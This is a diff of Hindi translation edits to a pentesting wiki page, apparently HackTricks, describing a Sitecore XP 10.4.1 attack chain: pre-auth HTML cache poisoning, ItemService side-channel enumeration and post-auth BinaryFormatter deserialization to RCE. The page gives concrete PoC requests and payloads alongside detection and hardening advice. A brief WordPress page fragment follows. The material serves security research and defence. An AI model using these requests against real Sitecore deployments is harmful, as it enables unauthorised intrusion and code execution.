-рдпрд╣ рдкреГрд╖реНрда Sitecore XP 10.4.1 рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ attack chain рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ preтАСauth XAML handler рд╕реЗ HTML cache poisoning рдХреА рдУрд░ рдореБрдбрд╝рддрд╛ рд╣реИ рдФрд░ authenticated UI flow рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ BinaryFormatter deserialization рдХреЗ рдЬрд░рд┐рдП RCE рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИред рдпреЗ рддрдХрдиреАрдХреЗрдВ рд╕рдорд╛рди Sitecore versions/components рдкрд░ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рд╣реЛрддреА рд╣реИрдВ рдФрд░ рдкрд░реАрдХреНрд╖рдг, рдкрддрд╛ рд▓рдЧрд╛рдиреЗ, рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдЦреНрддреА (harden) рдХреЗ рд▓рд┐рдП рдареЛрд╕ primitives рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред
+рдпрд╣ рдкреГрд╖реНрда Sitecore XP 10.4.1 рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ attack chain рдХрд╛ рд╕рд╛рд░ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдЬреЛ preтАСauth XAML handler рд╕реЗ HTML cache poisoning рдХреА рдУрд░ рдореБрдбрд╝рддрд╛ рд╣реИ рдФрд░ authenticated UI flow рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ BinaryFormatter deserialization рдХреЗ рдЬрд░рд┐рдП RCE рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИред рдпреЗ рддрдХрдиреАрдХреЗрдВ рд╕рдорд╛рди Sitecore рд╕рдВрд╕реНрдХрд░рдгреЛрдВ/components рдкрд░ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рд╣реЛрддреА рд╣реИрдВ рдФрд░ рдЯреЗрд╕реНрдЯ, рдбрд┐рдЯреЗрдХреНрдЯ, рддрдерд╛ рд╣рд╛рд░реНрдбрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдареЛрд╕ primitives рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИрдВред
-- рдкреНрд░рднрд╛рд╡рд┐рдд рдЙрддреНрдкрд╛рдж (рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛): Sitecore XP 10.4.1 rev. 011628
+- рдкреНрд░рднрд╛рд╡рд┐рдд рдЙрддреНрдкрд╛рдж (рдкрд░реАрдХреНрд╖рдг): Sitecore XP 10.4.1 rev. 011628
- Fixed in: KB1003667, KB1003734 (рдЬреВрди/рдЬреБрд▓рд╛рдИ 2025)
See also:
@@ -19,15 +19,15 @@ See also:
## PreтАСauth primitive: XAML Ajax reflection тЖТ HtmlCache write
-рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ preтАСauth XAML handler рд╣реИ рдЬреЛ web.config рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░реНрдб рд╣реИ:
+рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ web.config рдореЗрдВ рдкрдВрдЬреАрдХреГрдд preтАСauth XAML handler рд╣реИ:
```xml
```
-рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз:
+рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
-рдХрдВрдЯреНрд░реЛрд▓ рдЯреНрд░реА рдореЗрдВ AjaxScriptManager рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬреЛ event requests рдкрд░ attackerтАСcontrolled fields рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рд░рд┐рдлреНрд▓реЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓рдХреНрд╖рд┐рдд рдХрдВрдЯреНрд░реЛрд▓реНрд╕ рдкрд░ рдореЗрдердбреНрд╕ рдХреЛ invoke рдХрд░рддрд╛ рд╣реИ:
+рдХрдВрдЯреНрд░реЛрд▓ рдЯреНрд░реА рдореЗрдВ AjaxScriptManager рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬреЛ рдЗрд╡реЗрдВрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдкрд░ attackerтАСcontrolled рдлреАрд▓реНрдбреНрд╕ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рд▓рдХреНрд╖рд┐рдд controls рдкрд░ рд░рд┐рдлреНрд▓реЗрдХреНрдЯрд┐рд╡рд▓реА рдореЗрдердбреНрд╕ рдХреЛ invoke рдХрд░рддрд╛ рд╣реИ:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
@@ -42,9 +42,9 @@ if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
-рдореБрдЦреНрдп рдЕрд╡рд▓реЛрдХрди: XAML рдкреЗрдЬ рдореЗрдВ рдПрдХ XmlControl instance (xmlcontrol:GlobalHeader) рд╢рд╛рдорд┐рд▓ рд╣реИред Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl (рдПрдХ Sitecore class) рд╕реЗ рд╡реНрдпреБрддреНрдкрдиреНрди рд╣реИ, рдЬреЛ ReflectionUtil.Filter allowтАСlist (Sitecore.*) рдХреЛ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕ рддрд░рд╣ Sitecore WebControl рдкрд░ methods рдЕрдирд▓реЙрдХ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред
+рдореБрдЦреНрдп рдЕрд╡рд▓реЛрдХрди: XAML рдкреЗрдЬ рдореЗрдВ рдПрдХ XmlControl instance (xmlcontrol:GlobalHeader) рд╢рд╛рдорд┐рд▓ рд╣реИред Sitecore.XmlControls.XmlControl Sitecore.Web.UI.WebControl (рдПрдХ Sitecore class) рд╕реЗ derive рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ ReflectionUtil.Filter allowтАСlist (Sitecore.*) рдХреЛ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ рдФрд░ Sitecore WebControl рдкрд░ methods рдХреЛ рдЕрдирд▓реЙрдХ рдХрд░ рджреЗрддрд╛ рд╣реИред
-Magic method for poisoning:
+poisoning рдХреЗ рд▓рд┐рдП Magic method:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
@@ -52,7 +52,7 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
-рдХреНрдпреЛрдВрдХрд┐ рд╣рдо xmlcontrol:GlobalHeader рдХреЛ target рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирд╛рдо рд╕реЗ Sitecore.Web.UI.WebControl methods рдХреЛ call рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдореЗрдВ рдПрдХ preтАСauth arbitrary HtmlCache write primitive рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИред
+рдХреНрдпреЛрдВрдХрд┐ рд╣рдо xmlcontrol:GlobalHeader рдХреЛ target рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирд╛рдо рджреНрд╡рд╛рд░рд╛ Sitecore.Web.UI.WebControl methods рдХреЛ call рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдореЗрдВ рдПрдХ preтАСauth arbitrary HtmlCache write primitive рдорд┐рд▓рддрд╛ рд╣реИред
### PoC request (CVE-2025-53693)
```
@@ -62,13 +62,13 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
-рдиреЛрдЯреНрд╕:
-- __SOURCE, Sitecore.Shell.Xaml.WebControl рдореЗрдВ xmlcontrol:GlobalHeader рдХрд╛ clientID рд╣реИ (рдЖрдорддреМрд░ рдкрд░ рд╕реНрдерд┐рд░, рдЬреИрд╕реЗ ctl00_ctl00_ctl05_ctl03 рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ static XAML рд╕реЗ рд╡реНрдпреБрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ)ред
-- __PARAMETERS рдХрд╛ рдкреНрд░рд╛рд░реВрдк Method("arg1","arg2") рд╣реИред
+рдиреЛрдЯ:
+- __SOURCE xmlcontrol:GlobalHeader рдХрд╛ clientID рд╣реИ, рдЬреЛ Sitecore.Shell.Xaml.WebControl рдХреЗ рднреАрддрд░ рдЖрддрд╛ рд╣реИ (рдЖрдо рддреМрд░ рдкрд░ рд╕реНрдерд┐рд░ рд╣реЛрддрд╛ рд╣реИ рдЬреИрд╕реЗ ctl00_ctl00_ctl05_ctl03 рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ static XAML рд╕реЗ рд╡реНрдпреБрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ).
+- __PARAMETERS рдХрд╛ рдлрд╝реЙрд░реНрдореЗрдЯ Method("arg1","arg2") рд╣реИред
-## рдХреНрдпрд╛ poison рдХрд░рдирд╛ рд╣реИ: Cache key рдирд┐рд░реНрдорд╛рдг
+## рдХреНрдпрд╛ poison рдХрд░рдирд╛ рд╣реИ: Cache key construction
-Sitecore controls рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рд╛рдорд╛рдиреНрдп HtmlCache рдХреБрдВрдЬреА рдирд┐рд░реНрдорд╛рдг:
+Sitecore controls рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдорд╛рдиреНрдп HtmlCache key construction:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
@@ -90,31 +90,31 @@ return k;
return string.Empty;
}
```
-рдПрдХ рдЬреНрдЮрд╛рдд sublayout рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд poisoning рдХрд╛ рдЙрджрд╛рд╣рд░рдг:
+рдЬреНрдЮрд╛рдд sublayout рдХреЗ рд▓рд┐рдП targeted poisoning рдХрд╛ рдЙрджрд╛рд╣рд░рдг:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","тАжattacker HTMLтАж")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
-## рдХреИрд╢реЗрдмрд▓ рдЖрдЗрдЯрдо рдФрд░ тАЬvary byтАЭ рдбрд╛рдпрдореЗрдВрд╢рдиреНрд╕ рдХреА рд╕реВрдЪреА рдмрдирд╛рдирд╛
+## cacheable items рдФрд░ тАЬvary byтАЭ рдЖрдпрд╛рдореЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдирд╛
-рдпрджрд┐ ItemService (рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ) рдЕрдирд╛рдо рд░реВрдк рд╕реЗ рдПрдХреНрд╕рдкреЛрдЬрд╝ рд╣реИ, рддреЛ рдЖрдк рд╕рдЯреАрдХ keys рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╢реЗрдмрд▓ components рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
+рдпрджрд┐ ItemService (mis)exposed anonymously рд╣реИ, рддреЛ рдЖрдк cacheable components рдХреЛ enumerate рдХрд░рдХреЗ exact keys рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред
-рддреНрд╡рд░рд┐рдд рдЬрд╛рдВрдЪ:
+рддреНрд╡рд░рд┐рдд рдЬрд╛рдБрдЪ:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body тЖТ exposed (anonymous)
// 403 тЖТ blocked/auth required
```
-рдХреИрд╢ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЖрдЗрдЯрдо рдФрд░ рдлрд╝реНрд▓реИрдЧ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ:
+рдХреИрд╢ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЖрдЗрдЯрдо рдФрд░ flags рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
-Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate рдЬреИрд╕реЗ рдлрд╝реАрд▓реНрдб рдЦреЛрдЬреЗрдВред рдбрд┐рд╡рд╛рдЗрд╕ рдирд╛рдореЛрдВ рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
+Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate рдЬреИрд╕реЗ рдлрд╝реАрд▓реНрдб рджреЗрдЦреЗрдВред рдбрд┐рд╡рд╛рдЗрд╕ рдирд╛рдореЛрдВ рдХреЛ рдирд┐рдореНрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### SideтАСchannel enumeration under restricted identities (CVE-2025-53694)
-рднрд▓реЗ рд╣реА ItemService рдХрд┐рд╕реА рд╕реАрдорд┐рдд рдЦрд╛рддреЗ (e.g., ServicesAPI) рдХреА рдирдХрд▓ рдХрд░реЗ рдФрд░ рдЦрд╛рд▓реА Results array рд▓реМрдЯрд╛рдП, TotalCount рдлрд┐рд░ рднреА preтАСACL Solr hits рдХреЛ рджрд░реНрд╢рд╛ рд╕рдХрддрд╛ рд╣реИред рдЖрдк wildcards рдХреЗ рд╕рд╛рде item groups/ids рдХреЛ bruteтАСforce рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ TotalCount рдХреЗ converge рд╣реЛрддреЗ рд╣реБрдП internal content рдФрд░ devices рдХрд╛ рдорд╛рдирдЪрд┐рддреНрд░ рдмрдирддреЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:
+рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рдЬрдм ItemService рдХрд┐рд╕реА рд╕реАрдорд┐рдд рдЦрд╛рддреЗ (рдЙрджрд╛., ServicesAPI) рдХреА рдирдХрд▓ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЦрд╛рд▓реА Results array рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рддрдм рднреА TotalCount preтАСACL Solr hits рдХреЛ рджрд░реНрд╢рд╛ рд╕рдХрддрд╛ рд╣реИред рдЖрдк wildcards рдХреЗ рд╕рд╛рде item groups/ids рдкрд░ bruteтАСforce рдХрд░рдХреЗ TotalCount рдХреЗ converge рд╣реЛрддреЗ рд╣реБрдП internal content рдФрд░ devices рдХрд╛ рдирдХреНрд╢рд╛ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
тЖТ "TotalCount": 3
@@ -123,7 +123,7 @@ GET /...term=%2B_templatename:Device;%2B_group:aa*
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
тЖТ narrow to a specific item
```
-## PostтАСauth RCE: BinaryFormatter sink convertToRuntimeHtml рдореЗрдВ (CVE-2025-53691)
+## PostтАСauth RCE: BinaryFormatter sink рдореЗрдВ convertToRuntimeHtml (CVE-2025-53691)
Sink:
```csharp
@@ -131,14 +131,14 @@ Sink:
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
-рдпрд╣ convertToRuntimeHtml pipeline step ConvertWebControls рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реИ, рдЬреЛ id {iframeId}_inner рд╡рд╛рд▓реЗ element рдХреЛ рдвреВрдВрдврддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ base64 decodes + deserializes рдХрд░рдХреЗ resulting string рдХреЛ HTML рдореЗрдВ inject рдХрд░ рджреЗрддрд╛ рд╣реИ:
+convertToRuntimeHtml pipeline step ConvertWebControls рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд╣реБрдВрдЪ рдпреЛрдЧреНрдп рд╣реИ, рдЬреЛ id {iframeId}_inner рд╡рд╛рд▓реЗ element рдХреЛ рдЦреЛрдЬрддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ base64 decodes + deserializes рдХрд░рддрд╛ рд╣реИ, рдлрд┐рд░ resulting string рдХреЛ HTML рдореЗрдВ inject рдХрд░рддрд╛ рд╣реИ:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
-рдЯреНрд░рд┐рдЧрд░ (рдкреНрд░рдорд╛рдгреАрдХреГрдд, Content Editor рдЕрдзрд┐рдХрд╛рд░)ред FixHtml рдбрд╛рдпрд▓реЙрдЧ convertToRuntimeHtml рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред UI рдХреНрд▓рд┐рдХ рдХреЗ рдмрд┐рдирд╛ рдПрдВрдбтАСрдЯреВтАСрдПрдВрдб:
+Trigger (рдкреНрд░рдорд╛рдгреАрдХреГрдд, Content Editor рдЕрдзрд┐рдХрд╛рд░). FixHtml dialog convertToRuntimeHtml рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред EndтАСtoтАСend рдмрд┐рдирд╛ UI рдХреНрд▓рд┐рдХреЛрдВ рдХреЗ:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
@@ -166,29 +166,29 @@ Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
{{#endref}}
-## рдкреВрд░рд╛ рдЪреЗрди
+## рд╕рдВрдкреВрд░реНрдг рдЪреЗрди
-1) PreтАСauth attacker XAML AjaxScriptManager рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ reflectively WebControl.AddToCache рдХреЛ invoke рдХрд░рдХреЗ arbitrary HTML рдХреЗ рд╕рд╛рде HtmlCache рдХреЛ poison рдХрд░рддрд╛ рд╣реИред
-2) Poisoned HTML JavaScript рдкрд░реЛрд╕реЗрдЧрд╛ рдЬреЛ authenticated Content Editor user рдХреЛ FixHtml flow рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░реЗрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред
-3) FixHtml рдкреЗрдЬ convertToRuntimeHtml тЖТ ConvertWebControls рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ attackerтАСcontrolled base64 рдХреЛ BinaryFormatter рдХреЗ рдЬрд░рд┐рдП deserialize рдХрд░рддрд╛ рд╣реИ тЖТ Sitecore app pool identity рдХреЗ рддрд╣рдд RCEред
+1) PreтАСauth рд╣рдорд▓рд╛рд╡рд░ reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ arbitrary HTML рд╕реЗ HtmlCache рдХреЛ рдкреНрд░рджреВрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред
+2) рдкреНрд░рджреВрд╖рд┐рдд HTML JavaScript рдкрд░реЛрд╕рддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдкреНрд░рдорд╛рдгреАрдХреГрдд Content Editor рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ FixHtml flow рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рддрд╛ рд╣реИред
+3) FixHtml рдкреЗрдЬ convertToRuntimeHtml тЖТ ConvertWebControls рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ BinaryFormatter рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣рдорд▓рд╛рд╡рд░тАСрдирд┐рдпрдВрддреНрд░рд┐рдд base64 рдХреЛ рдбрд┐рд╕реЗрд░рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд░рдХреЗ Sitecore app pool identity рдХреЗ рдЕрдВрддрд░реНрдЧрдд RCE рдкреИрджрд╛ рдХрд░рддрд╛ рд╣реИред
## рдкрд╣рдЪрд╛рди
-- PreтАСauth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` рдХреЗ рд▓рд┐рдП requests рдЬрд┐рдирдореЗрдВ `__ISEVENT=1`, рд╕рдВрджрд┐рдЧреНрдз `__SOURCE` рдФрд░ `__PARAMETERS=AddToCache(...)`ред
-- ItemService probing: `/sitecore/api/ssc` рдХреА wildcard queries рдореЗрдВ spikes, рдЦрд╛рд▓реА `Results` рдХреЗ рд╕рд╛рде рдмрдбрд╝реЗ `TotalCount`ред
-- Deserialization attempts: `EditHtml.aspx` рдХреЗ рдмрд╛рдж `FixHtml.aspx?hdl=...` рдФрд░ HTML fields рдореЗрдВ рдЕрд╕рд╛рдзрд╛рд░рдг рд░реВрдк рд╕реЗ рдмрдбрд╝реЗ base64ред
+- PreтАСauth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl` рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдЬрд┐рдирдореЗрдВ `__ISEVENT=1`, рд╕рдВрджрд┐рдЧреНрдз `__SOURCE` рдФрд░ `__PARAMETERS=AddToCache(...)` рд╣реЛрддреЗ рд╣реИрдВред
+- ItemService probing: `/sitecore/api/ssc` рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХреНрд╡реЗрд░реАрдЬ рдореЗрдВ рд╡реГрджреНрдзрд┐, рдЦрд╛рд▓реА `Results` рдХреЗ рд╕рд╛рде рдмрдбрд╝рд╛ `TotalCount`ред
+- Deserialization attempts: `EditHtml.aspx` рдХреЗ рдмрд╛рдж `FixHtml.aspx?hdl=...` рдФрд░ HTML рдлрд╝реАрд▓реНрдбреНрд╕ рдореЗрдВ рдЕрд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдмрдбрд╝рд╛ base64ред
-## рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ
+## рдХрдбрд╝реА рд╕реБрд░рдХреНрд╖рд╛
-- Sitecore patches KB1003667 рдФрд░ KB1003734 рд▓рд╛рдЧреВ рдХрд░реЗрдВ; preтАСauth XAML handlers рдХреЛ gate/disable рдХрд░реЗрдВ рдпрд╛ strict validation рдЬреЛрдбрд╝реЗрдВ; `/-/xaml/` рдХреА рдирд┐рдЧрд░рд╛рдиреА рдФрд░ rateтАСlimit рд▓рд╛рдЧреВ рдХрд░реЗрдВред
-- BinaryFormatter рдХреЛ рд╣рдЯрд╛рдПрдБ/рдмрджрд▓реЗрдВ; convertToRuntimeHtml рддрдХ access рдХреЛ restrict рдХрд░реЗрдВ рдпрд╛ HTML editing flows рдкрд░ strong serverтАСside validation рд▓рд╛рдЧреВ рдХрд░реЗрдВред
-- `/sitecore/api/ssc` рдХреЛ loopback рдпрд╛ authenticated roles рддрдХ рд▓реЙрдХрдбрд╛рдЙрди рдХрд░реЗрдВ; impersonation patterns рд╕реЗ рдмрдЪреЗрдВ рдЬреЛ `TotalCount`тАСbased side channels рдХреЛ leak рдХрд░рддреЗ рд╣реИрдВред
-- Content Editor users рдХреЗ рд▓рд┐рдП MFA/least privilege рд▓рд╛рдЧреВ рдХрд░реЗрдВ; CSP рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рддрд╛рдХрд┐ cache poisoning рд╕реЗ JS steering рдХрд╛ рдкреНрд░рднрд╛рд╡ рдШрдЯреЗред
+- Sitecore patches KB1003667 рдФрд░ KB1003734 рд▓рд╛рдЧреВ рдХрд░реЗрдВ; preтАСauth XAML handlers рдХреЛ gate/disable рдХрд░реЗрдВ рдпрд╛ рд╕рдЦреНрдд validation рдЬреЛрдбрд╝реЗрдВ; `/-/xaml/` рдХреА рдирд┐рдЧрд░рд╛рдиреА рдФрд░ rateтАСlimit рд▓рд╛рдЧреВ рдХрд░реЗрдВред
+- BinaryFormatter рдХреЛ рд╣рдЯрд╛рдПрдБ/рдмрджрд▓реЗрдВ; convertToRuntimeHtml рддрдХ рдкрд╣реБрдБрдЪ рд╕реАрдорд┐рдд рдХрд░реЗрдВ рдпрд╛ HTML editing flows рдХреА рдордЬрдмреВрддреА рд╕реЗ serverтАСside validation рд▓рд╛рдЧреВ рдХрд░реЗрдВред
+- `/sitecore/api/ssc` рдХреЛ loopback рдпрд╛ authenticated roles рддрдХ рд▓реЙрдХ рдбрд╛рдЙрди рдХрд░реЗрдВ; рдРрд╕реЗ impersonation patterns рд╕реЗ рдмрдЪреЗрдВ рдЬреЛ `TotalCount`тАСрдЖрдзрд╛рд░рд┐рдд side channels рдХреЛ leak рдХрд░рддреЗ рд╣реИрдВред
+- Content Editor users рдХреЗ рд▓рд┐рдП MFA/least privilege рд▓рд╛рдЧреВ рдХрд░реЗрдВ; cache poisoning рд╕реЗ JS steering рдХреЗ рдкреНрд░рднрд╛рд╡ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП CSP рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВред
## References
-- [watchTowr Labs тАУ Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
-- [Sitecore KB1003667 тАУ Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
+- [watchTowr Labs тАУ Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
+- [Sitecore KB1003667 тАУ Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
- [Sitecore KB1003734 тАУ Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 31138c729..712fd55e1 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -2,51 +2,51 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА
-- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
-- **Themes files can be found in /wp-content/themes/,** рдЗрд╕рд▓рд┐рдП рдЕрдЧрд░ рдЖрдк theme рдХреЗ рдХрд┐рд╕реА php рдХреЛ рдмрджрд▓рдХрд░ RCE рд╣рд╛рд╕рд┐рд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рд╢рд╛рдпрдж рдЙрд╕реА path рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: Using **theme twentytwelve** рдЖрдк **404.php** рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЗрд╕ рдкрд╛рде рдкрд░ **access** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+- **Uploaded** рдлрд╝рд╛рдЗрд▓реЗрдВ рдЬрд╛рддреА рд╣реИрдВ: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
